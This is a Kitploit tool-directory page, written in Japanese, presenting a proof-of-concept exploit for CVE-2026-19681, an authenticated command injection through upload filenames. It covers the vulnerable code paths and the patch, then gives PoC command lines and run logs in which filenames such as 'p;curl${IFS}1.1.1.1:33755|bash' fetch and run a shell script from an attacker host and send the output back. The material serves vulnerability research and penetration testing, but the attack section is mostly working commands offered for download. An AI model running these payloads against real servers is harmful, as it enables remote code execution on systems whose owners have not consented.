Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2026-19681 — ファイルアップロード処理における認証済みコマンドインジェクションの概念実証(PoC)エクスプロイト。REST APIを介した2段階チェーンと、ブラインドタイミングおよびコールバックベースのコマンド実行を示す。 | Kitploit
ツール/GitHubGitHub/h00die/poc-cve-2026-19681
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

ファイルアップロード処理における認証済みコマンドインジェクションの概念実証(PoC)エクスプロイト。REST APIを介した2段階チェーンと、ブラインドタイミングおよびコールバックベースのコマンド実行を示す。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE Image

CVE-2026-19681 — ファイルアップロード処理におけるコマンドインジェクション(認証済み)

ステータス: CONFIRMED — 6.7.2-14.el9 ラボ環境で確認(2026-08-20)。ステージングされたファイル名 p;sleep${IFS}20;-EvvfJk を POST /rest/file/upload 経由で送信(コンテキストプレフィックスにメタキャラクタを含む)、続いて POST /rest/auditFile(type=scapLinux、version=1.2)が正確に 20.1 秒間停止し、エラー 106("Error adding Tailoring file to SCAP zip file")を返した — これは通常のインジェクション後エラーパスである。実行は Web サービスユーザーとして zip -9Tj シェルコマンド内で行われる。(RPM 差分によると 6.9.0 でパッチ適用済み。本脆弱性は少なくとも 6.7.2〜6.8.x に存在する。)

脆弱性

2 段階のチェーンで、いずれも攻撃者が制御可能:

  1. ファイル名の制御 — POST /rest/file は Filesystem::saveTmp()(FilesystemLib.php:587)経由でアップロードを保存する。この関数は生のクライアント パラメータからディスク上のファイル名を構築する: 。未知のコンテキストはすべてのコンテンツ検証をスキップする( の NOTICE はこれを「SC 4.x 以来、完全にオープン」と呼んでいる)が、それでも保存される — そのためシェルメタキャラクタ(、、バッククォート)がステージングされたファイル名に残る。

context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • インジェクションシンク — POST /rest/auditFile で type∈SCAP、version=1.2 の場合、テーラリング分岐(AuditFiles.php:163)に入る: $scapZipFile = $tmpDir . $params['filename'](完全にクライアント制御)→ AuditFileLib::addSCAPTailoringFile() の 2304 行目: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() は / を除去するが、シェルメタキャラクタは除去しない — その後 エスケープされずに exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") で実行される。

  • 同一クラスの別のシンク:Files.php:360 の exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/")(extractFile() 内)。

    パッチ(6.9.0)

    両方の zip コマンドで escapeshellarg($tmpZipFile) を使用。Utility::execSafe()(argv 形式の proc_open + -- セパレータ)が unzip 文字列 exec を置き換え。AuditFiles::applySCAPTailoringFile() にファイル名検証を追加(これは CVE-2026-19679)。

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    補足:

    • アップロードリソースは /rest/file/upload(multipart フィールド Filedata、context フォームフィールド)— ラボ環境で発見。他のビルドでは異なる可能性があり、候補をプローブした。
    • 長さの制約:PHP の tempnam() はステージングされた名前のプレフィックスを切り詰める — context の約 50〜55 文字のみが残る(ラボで測定。hex-bootstrap バリアントはペイロード途中で切り詰められた)。p;sleep${IFS}20; のような短いインジェクションは収まる。それより長いものはすべてコールバックサーバー経由で送信する。
    • auditFile のボディには type=scapLinux|scapWindows、version=1.2、benchmarkName、dataStreamName が必要(AuditFiles::validateAdd による)。PARAM_FILENAME は / と存在しないファイルのみを拒否するため、;/${IFS} は通過する。
    • テーラリングアップロード(context=tailoringFile)には、少なくとも 1 つの Profile を含むパース可能な datastream XML が含まれている必要がある — 最小限のものが埋め込まれている。

    ラボ検証項目(失敗した場合はスクリプト出力にフラグが立てられる):

    • 埋め込まれた最小限のテーラリング XML は SCAPTailoringFileParser(>=1 プロファイル)を満たす必要がある。拒否された場合は実際の SCAP テーラリング datastream に置き換えること。
    • type 文字列は AuditFileLib::$validSCAPTypes(scap が期待される)のメンバーと一致する必要がある。
    • auditFile のボディキーの正確な内容は AuditFiles::validateAdd() に由来する。POST がパラメータエラーを返した場合は調整すること。

    関連情報

    • ../cve-2026-19679/ — 同じチェーンの入力検証側(ファイル名サニタイズ)。バージョン検出の差分比較を含む。

    実行例

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    ツールをダウンロード